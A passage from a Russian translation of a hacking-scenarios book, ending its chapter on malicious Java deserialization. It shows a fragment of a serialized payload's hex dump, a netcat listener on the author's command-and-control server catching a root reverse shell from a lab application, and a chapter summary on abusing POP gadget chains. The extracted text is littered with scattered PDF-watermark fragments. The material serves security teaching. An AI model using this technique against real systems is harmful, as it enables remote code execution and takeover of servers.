Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
книги хакеры / Эдриан_Прутяну_Как_стать_хакером_сборник_практическиз_сценариев.pdf
Скачиваний:
18
Добавлен:
19.04.2024
Размер:
20.34 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

 

 

 

 

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Глава 8.Вредоносная сериализация

 

 

 

 

 

w Click

to

BUY 206 

 

 

 

 

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

df

 

 

 

 

e

 

77

02

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

0000000A

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

0000000C 01 01

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

0000000C

01

01

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

0000000E

77

06

00

04

74

65

73

74

73 72 00

32

73

75

6e

2e

 

 

 

 

 

w...test sr.2sun.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

0000001E

72

65

66

6c

65

63

74

2e

61 6e 6e

6f

74

61

74

69

 

 

 

 

 

reflect. annotati

 

 

 

 

 

 

 

 

 

 

 

w.

..

..

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

[...]

 

 

 

 

 

 

 

 

 

 

000007EE

00

00

00

00

00

00

00

00

00 00 78

70

........

..xp

 

 

 

 

 

 

 

 

Далее в перехваченном пакете замечаем кое-что интересное в ответе сервера.

Сервер выдает в ответ java.lang.ClassCastException.Это означает,что он попытался преобразовать нашу полезную нагрузку в HashRequest, но не смог. Это хорошая новость, потому что к тому времени, когда исключение перехватывается, цепочка гаджетов успешно работает и на нашем командно-конт­ рольном сервере уже есть оболочка.

root@spider-c2-1:~# nc -lvp 443 listening on [any] 443 ...

connect to [10.2.0.4] from deserlab.app.internal [11.21.126.51] 48946

id

uid=0(root) gid=0(root) groups=0(root)

Резюме

В этой главе мы рассмотрели еще один способ злоупотребленияданными,вводимыми пользователем, с целью выполнения произвольного кода в уязвимых приложениях. Сериализация очень полезна в современных приложениях, так как они становятся более сложными и более распределенными. Обмен данными осуществляется легко, но иногда это происходит в ущерб безопасности.

В предыдущих примерах приложения были скомпрометированы,поскольку были сделаны предположения относительно процесса десериализации данных. В потоке объектов нет исполняемого кода в традиционном смысле этого

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

C

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

Резюме  207 BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

 

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

 

слова, потому что сериализованные данные – просто снимок состояния объ-

 

 

e

 

 

 

 

df

 

 

n

e

 

 

 

 

df

 

 

n

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

екта.Это должно быть безопасно,пока интерпретатор языка безопасно читает ввод,то есть если нет переполнения буфера или подобной уязвимости.

Однако, как мы видели, не нужно эксплуатировать виртуальную машину Java или интерпретатор PHP, чтобы скомпрометировать систему. Нам удалось злоупотребить возможностями десериализации, чтобы захватить контроль над процессом выполнения приложений, с помощью гаджетов POP.

В следующей главе сконцентрируемся на практических атаках, направленных преимущественно на пользователя, применяя уязвимости приложений.